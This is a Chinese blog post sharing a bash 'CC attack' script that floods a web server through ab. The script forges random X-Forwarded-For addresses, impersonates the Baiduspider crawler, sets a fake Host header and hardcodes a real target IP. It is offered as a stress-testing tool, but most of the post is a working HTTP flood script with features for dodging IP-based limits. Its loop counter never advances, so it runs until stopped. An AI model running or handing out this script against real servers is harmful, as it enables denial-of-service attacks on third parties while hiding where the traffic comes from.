最近有需求要做个简单的压力测试,写了个简单的shell cc攻击脚本,功能都是基本ab命令的,ab支持的参数,脚本就可以都可以实现,但是我比较懒,没写那么多功能,主要有以下几个特点:

  1. 指定user-agent
  2. 指定攻击的IP和host头
  3. 可以伪造X-Forwarded-For,服务器配置错误时可以伪造访问IP
  4. 指定每个伪造IP的攻击并发和每个IP攻击次数
  5. 限制总伪造IP个数,实际攻击次数为total_count*ip_count
  6. 指定攻击的URI

ab功能比较多,有需求可以自己改造,此脚本比较耗cpu和网络,建议使用timeout命令限制下执行时间,以防服务器死机,脚本很简单不多说了

#!/bin/bash
#author : nixops.me
useragent='Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html);'
target_ip=103.235.46.40
fake_host=www.baidu.com
total_count=100000
ip_count=100
ip_concurrency=10
target_uri=index.php

function rand(){
    min=$1
    max=$(($2-$min+1))
    num=$(cat /dev/urandom | head -n 10 | cksum | awk -F ' ' '{print $1}')
    echo $(($num%$max+$min))
}

function ip(){
    a=$(rand 1 254)
    b=$(rand 1 254)
    c=$(rand 1 254)
    d=$(rand 1 254)
    echo $a.$b.$c.$d
}

function attack(){
    ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
    #timeout 1000 ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
}

for ((i=0; i<$total_count;))
do
    attack &
    wait
done

限制执行时间为100秒,到期自动退出:

timeout 100 ./attack.sh